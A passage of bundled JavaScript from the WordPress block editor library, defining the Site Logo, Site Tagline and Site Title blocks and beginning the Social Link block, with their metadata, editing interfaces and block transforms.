                children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
                  import_components148.ToggleControl,
                  {
                    label: (0, import_i18n225.__)(&quot;Link image to home&quot;),
                    onChange: () =&gt; setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              import_components148.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                hasValue: () =&gt; linkTarget === &quot;_blank&quot;,
                label: (0, import_i18n225.__)(&quot;Open in new tab&quot;),
                onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
                  import_components148.ToggleControl,
                  {
                    label: (0, import_i18n225.__)(&quot;Open in new tab&quot;),
                    onChange: (value) =&gt; setAttributes({
                      linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                    }),
                    checked: linkTarget === &quot;_blank&quot;
                  }
                )
              }
            ),
            canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              import_components148.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                hasValue: () =&gt; !!shouldSyncIcon,
                label: (0, import_i18n225.__)(&quot;Use as Site Icon&quot;),
                onDeselect: () =&gt; {
                  setAttributes({ shouldSyncIcon: false });
                  setIcon(void 0);
                },
                children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
                  import_components148.ToggleControl,
                  {
                    label: (0, import_i18n225.__)(&quot;Use as Site Icon&quot;),
                    onChange: (value) =&gt; {
                      setAttributes({ shouldSyncIcon: value });
                      setIcon(value ? logoId : void 0);
                    },
                    checked: !!shouldSyncIcon,
                    help: syncSiteIconHelpText
                  }
                )
              }
            )
          ]
        }
      ) }),
      canEditImage &amp;&amp; !isEditingImage &amp;&amp; shouldShowCropAndDimensions &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_block_editor236.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        import_components148.ToolbarButton,
        {
          onClick: () =&gt; setIsEditingImage(true),
          icon: crop_default,
          label: (0, import_i18n225.__)(&quot;Crop&quot;)
        }
      ) }),
      imgEdit
    ] });
  };
  function LogoEdit({
    attributes: attributes2,
    className,
    setAttributes,
    isSelected
  }) {
    const { width, shouldSyncIcon } = attributes2;
    const {
      siteLogoId,
      canUserEdit,
      url,
      siteIconId,
      mediaItemData,
      isRequestingMediaItem
    } = (0, import_data131.useSelect)((select9) =&gt; {
      const { canUser, getEntityRecord, getEditedEntityRecord } = select9(import_core_data79.store);
      const _canUserEdit = canUser(&quot;update&quot;, {
        kind: &quot;root&quot;,
        name: &quot;site&quot;
      });
      const siteSettings = _canUserEdit ? getEditedEntityRecord(&quot;root&quot;, &quot;site&quot;) : void 0;
      const siteData = getEntityRecord(&quot;root&quot;, &quot;__unstableBase&quot;);
      const _siteLogoId = _canUserEdit ? siteSettings?.site_logo : siteData?.site_logo;
      const _siteIconId = siteSettings?.site_icon;
      const mediaItem = _siteLogoId &amp;&amp; select9(import_core_data79.store).getEntityRecord(
        &quot;postType&quot;,
        &quot;attachment&quot;,
        _siteLogoId,
        {
          context: &quot;view&quot;
        }
      );
      const _isRequestingMediaItem = !!_siteLogoId &amp;&amp; !select9(import_core_data79.store).hasFinishedResolution(&quot;getEntityRecord&quot;, [
        &quot;postType&quot;,
        &quot;attachment&quot;,
        _siteLogoId,
        { context: &quot;view&quot; }
      ]);
      return {
        siteLogoId: _siteLogoId,
        canUserEdit: _canUserEdit,
        url: siteData?.home,
        mediaItemData: mediaItem,
        isRequestingMediaItem: _isRequestingMediaItem,
        siteIconId: _siteIconId
      };
    }, []);
    const { getSettings: getSettings2 } = (0, import_data131.useSelect)(import_block_editor236.store);
    const [temporaryURL, setTemporaryURL] = (0, import_element119.useState)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { editEntityRecord } = (0, import_data131.useDispatch)(import_core_data79.store);
    const setLogo = (newValue, shouldForceSync = false) =&gt; {
      if (shouldSyncIcon || shouldForceSync) {
        setIcon(newValue);
      }
      editEntityRecord(&quot;root&quot;, &quot;site&quot;, void 0, {
        site_logo: newValue
      });
    };
    const setIcon = (newValue) =&gt; (
      // The new value needs to be `null` to reset the Site Icon.
      editEntityRecord(&quot;root&quot;, &quot;site&quot;, void 0, {
        site_icon: newValue ?? null
      })
    );
    const { alt_text: alt, source_url: logoUrl } = mediaItemData ?? {};
    const onInitialSelectLogo = (media) =&gt; {
      if (shouldSyncIcon === void 0) {
        const shouldForceSync = !siteIconId;
        setAttributes({ shouldSyncIcon: shouldForceSync });
        onSelectLogo(media, shouldForceSync);
        return;
      }
      onSelectLogo(media);
    };
    const onSelectLogo = (media, shouldForceSync = false) =&gt; {
      if (!media) {
        return;
      }
      if (!media.id &amp;&amp; media.url) {
        setTemporaryURL(media.url);
        setLogo(void 0);
        return;
      }
      setLogo(media.id, shouldForceSync);
    };
    const onRemoveLogo = () =&gt; {
      setLogo(null);
      setAttributes({ width: void 0 });
    };
    const { createErrorNotice } = (0, import_data131.useDispatch)(import_notices17.store);
    const onUploadError = (message) =&gt; {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
      setTemporaryURL();
    };
    const onFilesDrop = (filesList) =&gt; {
      getSettings2().mediaUpload({
        allowedTypes: ALLOWED_MEDIA_TYPES9,
        filesList,
        onFileChange([image]) {
          if ((0, import_blob18.isBlobURL)(image?.url)) {
            setTemporaryURL(image.url);
            return;
          }
          onInitialSelectLogo(image);
        },
        onError: onUploadError,
        multiple: false
      });
    };
    const mediaReplaceFlowProps = {
      mediaURL: logoUrl,
      name: !logoUrl ? (0, import_i18n225.__)(&quot;Choose logo&quot;) : (0, import_i18n225.__)(&quot;Replace&quot;),
      onSelect: onSelectLogo,
      onError: onUploadError,
      onReset: onRemoveLogo
    };
    const controls = canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_block_editor236.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
      import_block_editor236.MediaReplaceFlow,
      {
        ...mediaReplaceFlowProps,
        allowedTypes: ALLOWED_MEDIA_TYPES9,
        variant: &quot;toolbar&quot;
      }
    ) });
    let logoImage;
    const isLoading = siteLogoId === void 0 || isRequestingMediaItem;
    if (isLoading) {
      logoImage = /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_components148.Spinner, {});
    }
    (0, import_element119.useEffect)(() =&gt; {
      if (logoUrl &amp;&amp; temporaryURL) {
        setTemporaryURL();
      }
    }, [logoUrl, temporaryURL]);
    if (!!logoUrl || !!temporaryURL) {
      logoImage = /* @__PURE__ */ (0, import_jsx_runtime427.jsxs)(import_jsx_runtime427.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
          SiteLogo,
          {
            alt,
            attributes: attributes2,
            className,
            isSelected,
            setAttributes,
            logoUrl: temporaryURL || logoUrl,
            setLogo,
            logoId: mediaItemData?.id || siteLogoId,
            siteUrl: url,
            setIcon,
            iconId: siteIconId,
            canUserEdit
          }
        ),
        canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_components148.DropZone, { onFilesDrop })
      ] });
    }
    const placeholder2 = (content) =&gt; {
      const placeholderClassName = clsx_default(
        &quot;block-editor-media-placeholder&quot;,
        className
      );
      return /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        import_components148.Placeholder,
        {
          className: placeholderClassName,
          preview: logoImage,
          withIllustration: true,
          style: {
            width
          },
          children: content
        }
      );
    };
    const classes = clsx_default(className, {
      &quot;is-default-size&quot;: !width,
      &quot;is-transient&quot;: temporaryURL
    });
    const blockProps = (0, import_block_editor236.useBlockProps)({ className: classes });
    const mediaInspectorPanel = (canUserEdit || logoUrl) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_block_editor236.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
      import_components148.__experimentalToolsPanel,
      {
        label: (0, import_i18n225.__)(&quot;Media&quot;),
        dropdownMenuProps,
        children: !canUserEdit ? /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
          &quot;div&quot;,
          {
            className: &quot;block-library-site-logo__inspector-media-replace-container&quot;,
            style: { gridColumn: &quot;1 / -1&quot; },
            children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              MediaControlPreview,
              {
                url: mediaItemData?.source_url,
                alt: mediaItemData?.alt_text,
                filename: mediaItemData?.media_details?.sizes?.full?.file || mediaItemData?.slug,
                itemGroupProps: {
                  isBordered: true,
                  className: &quot;block-library-site-logo__inspector-readonly-logo-preview&quot;
                },
                className: &quot;block-library-site-logo__inspector-media-replace-title&quot;
              }
            )
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
          import_components148.__experimentalToolsPanelItem,
          {
            hasValue: () =&gt; !!logoUrl,
            label: (0, import_i18n225.__)(&quot;Logo&quot;),
            isShownByDefault: true,
            children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              MediaControl,
              {
                mediaId: siteLogoId,
                mediaUrl: logoUrl,
                alt: mediaItemData?.alt_text,
                filename: mediaItemData?.media_details?.sizes?.full?.file || mediaItemData?.slug,
                allowedTypes: ALLOWED_MEDIA_TYPES9,
                onSelect: onSelectLogo,
                onError: onUploadError,
                onReset: onRemoveLogo,
                isUploading: !!temporaryURL,
                emptyLabel: (0, import_i18n225.__)(&quot;Choose logo&quot;)
              }
            )
          }
        )
      }
    ) });
    return /* @__PURE__ */ (0, import_jsx_runtime427.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      controls,
      mediaInspectorPanel,
      (!!logoUrl || !!temporaryURL) &amp;&amp; logoImage,
      (isLoading || !temporaryURL &amp;&amp; !logoUrl &amp;&amp; !canUserEdit) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_components148.Placeholder, { className: &quot;site-logo_placeholder&quot;, withIllustration: true, children: isLoading &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(&quot;span&quot;, { className: &quot;components-placeholder__preview&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_components148.Spinner, {}) }) }),
      !isLoading &amp;&amp; !temporaryURL &amp;&amp; !logoUrl &amp;&amp; canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        import_block_editor236.MediaPlaceholder,
        {
          onSelect: onInitialSelectLogo,
          allowedTypes: ALLOWED_MEDIA_TYPES9,
          onError: onUploadError,
          placeholder: placeholder2,
          mediaLibraryButton: ({ open }) =&gt; {
            return /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              import_components148.Button,
              {
                __next40pxDefaultSize: true,
                icon: upload_default,
                variant: &quot;primary&quot;,
                label: (0, import_i18n225.__)(&quot;Choose logo&quot;),
                showTooltip: true,
                tooltipPosition: &quot;middle right&quot;,
                onClick: () =&gt; {
                  open();
                }
              }
            );
          }
        }
      )
    ] });
  }

  // packages/block-library/build-module/site-logo/transforms.mjs
  var import_blocks104 = __toESM(require_blocks(), 1);
  var transforms31 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/site-title&quot;],
        transform: ({ isLink, linkTarget }) =&gt; {
          return (0, import_blocks104.createBlock)(&quot;core/site-title&quot;, {
            isLink,
            linkTarget
          });
        }
      }
    ]
  };
  var transforms_default32 = transforms31;

  // packages/block-library/build-module/site-logo/index.mjs
  var { name: name99 } = block_default98;
  var settings98 = {
    icon: site_logo_default,
    example: {},
    edit: LogoEdit,
    transforms: transforms_default32
  };
  var init98 = () =&gt; initBlock({ name: name99, metadata: block_default98, settings: settings98 });

  // packages/block-library/build-module/site-tagline/index.mjs
  var site_tagline_exports = {};
  __export(site_tagline_exports, {
    init: () =&gt; init99,
    metadata: () =&gt; block_default99,
    name: () =&gt; name100,
    settings: () =&gt; settings99
  });

  // packages/block-library/build-module/site-tagline/block.json
  var block_default99 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/site-tagline&quot;,
    title: &quot;Site Tagline&quot;,
    category: &quot;theme&quot;,
    description: &quot;Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.&quot;,
    keywords: [&quot;description&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 0
      },
      levelOptions: {
        type: &quot;array&quot;,
        default: [0, 1, 2, 3, 4, 5, 6]
      }
    },
    example: {
      viewportWidth: 350,
      attributes: {
        textAlign: &quot;center&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      contentRole: true,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    editorStyle: &quot;wp-block-site-tagline-editor&quot;,
    style: &quot;wp-block-site-tagline&quot;
  };

  // packages/block-library/build-module/site-tagline/edit.mjs
  var import_data132 = __toESM(require_data(), 1);
  var import_core_data80 = __toESM(require_core_data(), 1);
  var import_block_editor237 = __toESM(require_block_editor(), 1);
  var import_i18n226 = __toESM(require_i18n(), 1);
  var import_blocks105 = __toESM(require_blocks(), 1);
  var import_jsx_runtime428 = __toESM(require_jsx_runtime(), 1);
  function SiteTaglineEdit({
    attributes: attributes2,
    setAttributes,
    insertBlocksAfter
  }) {
    const { textAlign, level, levelOptions } = attributes2;
    const { canUserEdit, tagline } = (0, import_data132.useSelect)((select9) =&gt; {
      const { canUser, getEntityRecord, getEditedEntityRecord } = select9(import_core_data80.store);
      const canEdit = canUser(&quot;update&quot;, {
        kind: &quot;root&quot;,
        name: &quot;site&quot;
      });
      const settings122 = canEdit ? getEditedEntityRecord(&quot;root&quot;, &quot;site&quot;) : {};
      const readOnlySettings = getEntityRecord(&quot;root&quot;, &quot;__unstableBase&quot;);
      return {
        canUserEdit: canEdit,
        tagline: canEdit ? settings122?.description : readOnlySettings?.description
      };
    }, []);
    const TagName2 = level === 0 ? &quot;p&quot; : `h${level}`;
    const { editEntityRecord } = (0, import_data132.useDispatch)(import_core_data80.store);
    function setTagline(newTagline) {
      editEntityRecord(&quot;root&quot;, &quot;site&quot;, void 0, {
        description: newTagline
      });
    }
    const blockProps = (0, import_block_editor237.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign,
        &quot;wp-block-site-tagline__placeholder&quot;: !canUserEdit &amp;&amp; !tagline
      })
    });
    const siteTaglineContent = canUserEdit ? /* @__PURE__ */ (0, import_jsx_runtime428.jsx)(
      import_block_editor237.RichText,
      {
        allowedFormats: [],
        onChange: setTagline,
        &quot;aria-label&quot;: (0, import_i18n226.__)(&quot;Site tagline text&quot;),
        placeholder: (0, import_i18n226.__)(&quot;Write site tagline\u2026&quot;),
        tagName: TagName2,
        value: tagline,
        disableLineBreaks: true,
        __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter((0, import_blocks105.createBlock)((0, import_blocks105.getDefaultBlockName)())),
        ...blockProps
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime428.jsx)(TagName2, { ...blockProps, children: tagline || (0, import_i18n226.__)(&quot;Site Tagline placeholder&quot;) });
    return /* @__PURE__ */ (0, import_jsx_runtime428.jsxs)(import_jsx_runtime428.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime428.jsxs)(import_block_editor237.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime428.jsx)(
          import_block_editor237.HeadingLevelDropdown,
          {
            value: level,
            options: levelOptions,
            onChange: (newLevel) =&gt; setAttributes({ level: newLevel })
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime428.jsx)(
          import_block_editor237.AlignmentControl,
          {
            onChange: (newAlign) =&gt; setAttributes({ textAlign: newAlign }),
            value: textAlign
          }
        )
      ] }),
      siteTaglineContent
    ] });
  }

  // packages/block-library/build-module/site-tagline/icon.mjs
  var import_components149 = __toESM(require_components(), 1);
  var import_jsx_runtime429 = __toESM(require_jsx_runtime(), 1);
  var icon_default4 = /* @__PURE__ */ (0, import_jsx_runtime429.jsx)(import_components149.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, width: &quot;24&quot;, height: &quot;24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime429.jsx)(import_components149.Path, { d: &quot;M4 10.5h16V9H4v1.5ZM4 15h9v-1.5H4V15Z&quot; }) });

  // packages/block-library/build-module/site-tagline/deprecated.mjs
  var v141 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextTransform: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default46 = [v141];

  // packages/block-library/build-module/site-tagline/index.mjs
  var { name: name100 } = block_default99;
  var settings99 = {
    icon: icon_default4,
    edit: SiteTaglineEdit,
    deprecated: deprecated_default46
  };
  var init99 = () =&gt; initBlock({ name: name100, metadata: block_default99, settings: settings99 });

  // packages/block-library/build-module/site-title/index.mjs
  var site_title_exports = {};
  __export(site_title_exports, {
    init: () =&gt; init100,
    metadata: () =&gt; block_default100,
    name: () =&gt; name101,
    settings: () =&gt; settings100
  });

  // packages/block-library/build-module/site-title/block.json
  var block_default100 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/site-title&quot;,
    title: &quot;Site Title&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the name of this site. Update the block, and the changes apply everywhere it\u2019s used. This will also appear in the browser title bar and in search results.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      level: {
        type: &quot;number&quot;,
        default: 1
      },
      levelOptions: {
        type: &quot;array&quot;,
        default: [0, 1, 2, 3, 4, 5, 6]
      },
      textAlign: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: true,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      }
    },
    example: {
      viewportWidth: 500
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        padding: true,
        margin: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    editorStyle: &quot;wp-block-site-title-editor&quot;,
    style: &quot;wp-block-site-title&quot;
  };

  // packages/block-library/build-module/site-title/edit.mjs
  var import_data133 = __toESM(require_data(), 1);
  var import_core_data81 = __toESM(require_core_data(), 1);
  var import_i18n227 = __toESM(require_i18n(), 1);
  var import_block_editor238 = __toESM(require_block_editor(), 1);
  var import_components150 = __toESM(require_components(), 1);
  var import_blocks106 = __toESM(require_blocks(), 1);
  var import_html_entities13 = __toESM(require_html_entities(), 1);
  var import_jsx_runtime430 = __toESM(require_jsx_runtime(), 1);
  function SiteTitleEdit({
    attributes: attributes2,
    setAttributes,
    insertBlocksAfter
  }) {
    const { level, levelOptions, textAlign, isLink, linkTarget } = attributes2;
    const { canUserEdit, title } = (0, import_data133.useSelect)((select9) =&gt; {
      const { canUser, getEntityRecord, getEditedEntityRecord } = select9(import_core_data81.store);
      const canEdit = canUser(&quot;update&quot;, {
        kind: &quot;root&quot;,
        name: &quot;site&quot;
      });
      const settings122 = canEdit ? getEditedEntityRecord(&quot;root&quot;, &quot;site&quot;) : {};
      const readOnlySettings = getEntityRecord(&quot;root&quot;, &quot;__unstableBase&quot;);
      return {
        canUserEdit: canEdit,
        title: canEdit ? settings122?.title : readOnlySettings?.name
      };
    }, []);
    const { editEntityRecord } = (0, import_data133.useDispatch)(import_core_data81.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockEditingMode = (0, import_block_editor238.useBlockEditingMode)();
    function setTitle(newTitle) {
      editEntityRecord(&quot;root&quot;, &quot;site&quot;, void 0, {
        title: newTitle.trim()
      });
    }
    const TagName2 = level === 0 ? &quot;p&quot; : `h${level}`;
    const blockProps = (0, import_block_editor238.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign,
        &quot;wp-block-site-title__placeholder&quot;: !canUserEdit &amp;&amp; !title
      })
    });
    const siteTitleContent = canUserEdit ? /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
      import_block_editor238.RichText,
      {
        tagName: isLink ? &quot;a&quot; : &quot;span&quot;,
        href: isLink ? &quot;#site-title-pseudo-link&quot; : void 0,
        &quot;aria-label&quot;: (0, import_i18n227.__)(&quot;Site title text&quot;),
        placeholder: (0, import_i18n227.__)(&quot;Write site title\u2026&quot;),
        value: title,
        onChange: setTitle,
        allowedFormats: [],
        disableLineBreaks: true,
        __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter((0, import_blocks106.createBlock)((0, import_blocks106.getDefaultBlockName)()))
      }
    ) }) : /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(TagName2, { ...blockProps, children: isLink ? /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
      &quot;a&quot;,
      {
        href: &quot;#site-title-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        children: (0, import_html_entities13.decodeEntities)(title) || (0, import_i18n227.__)(&quot;Site Title placeholder&quot;)
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(&quot;span&quot;, { children: (0, import_html_entities13.decodeEntities)(title) || (0, import_i18n227.__)(&quot;Site Title placeholder&quot;) }) });
    return /* @__PURE__ */ (0, import_jsx_runtime430.jsxs)(import_jsx_runtime430.Fragment, { children: [
      blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime430.jsxs)(import_block_editor238.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
          import_block_editor238.HeadingLevelDropdown,
          {
            value: level,
            options: levelOptions,
            onChange: (newLevel) =&gt; setAttributes({ level: newLevel })
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
          import_block_editor238.AlignmentControl,
          {
            value: textAlign,
            onChange: (nextAlign) =&gt; {
              setAttributes({ textAlign: nextAlign });
            }
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(import_block_editor238.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime430.jsxs)(
        import_components150.__experimentalToolsPanel,
        {
          label: (0, import_i18n227.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              isLink: true,
              linkTarget: &quot;_self&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
              import_components150.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !isLink,
                label: (0, import_i18n227.__)(&quot;Make title link to home&quot;),
                onDeselect: () =&gt; setAttributes({ isLink: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
                  import_components150.ToggleControl,
                  {
                    label: (0, import_i18n227.__)(&quot;Make title link to home&quot;),
                    onChange: () =&gt; setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
              import_components150.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; linkTarget !== &quot;_self&quot;,
                label: (0, import_i18n227.__)(&quot;Open in new tab&quot;),
                onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime430.jsx)(
                  import_components150.ToggleControl,
                  {
                    label: (0, import_i18n227.__)(&quot;Open in new tab&quot;),
                    onChange: (value) =&gt; setAttributes({
                      linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                    }),
                    checked: linkTarget === &quot;_blank&quot;
                  }
                )
              }
            )
          ]
        }
      ) }),
      siteTitleContent
    ] });
  }

  // packages/block-library/build-module/site-title/deprecated.mjs
  var v143 = {
    attributes: {
      level: {
        type: &quot;number&quot;,
        default: 1
      },
      textAlign: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true
      },
      spacing: {
        padding: true,
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextTransform: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default47 = [v143];

  // packages/block-library/build-module/site-title/transforms.mjs
  var import_blocks107 = __toESM(require_blocks(), 1);
  var transforms32 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/site-logo&quot;],
        transform: ({ isLink, linkTarget }) =&gt; {
          return (0, import_blocks107.createBlock)(&quot;core/site-logo&quot;, {
            isLink,
            linkTarget
          });
        }
      }
    ]
  };
  var transforms_default33 = transforms32;

  // packages/block-library/build-module/site-title/index.mjs
  var { name: name101 } = block_default100;
  var settings100 = {
    icon: map_marker_default,
    example: {
      viewportWidth: 350,
      attributes: {
        textAlign: &quot;center&quot;
      }
    },
    edit: SiteTitleEdit,
    transforms: transforms_default33,
    deprecated: deprecated_default47
  };
  var init100 = () =&gt; initBlock({ name: name101, metadata: block_default100, settings: settings100 });

  // packages/block-library/build-module/social-link/index.mjs
  var social_link_exports = {};
  __export(social_link_exports, {
    init: () =&gt; init101,
    metadata: () =&gt; block_default101,
    name: () =&gt; name102,
    settings: () =&gt; settings101
  });
  var import_i18n231 = __toESM(require_i18n(), 1);
  var import_blocks109 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/social-link/edit.mjs
  var import_keycodes9 = __toESM(require_keycodes(), 1);
  var import_data134 = __toESM(require_data(), 1);
  var import_block_editor239 = __toESM(require_block_editor(), 1);
  var import_element120 = __toESM(require_element(), 1);
  var import_components151 = __toESM(require_components(), 1);
  var import_compose56 = __toESM(require_compose(), 1);
  var import_i18n229 = __toESM(require_i18n(), 1);
  var import_blocks108 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/social-link/social-list.mjs
  var import_i18n228 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/social-link/icons/amazon.mjs
  var import_primitives165 = __toESM(require_primitives(), 1);
  var import_jsx_runtime431 = __toESM(require_jsx_runtime(), 1);
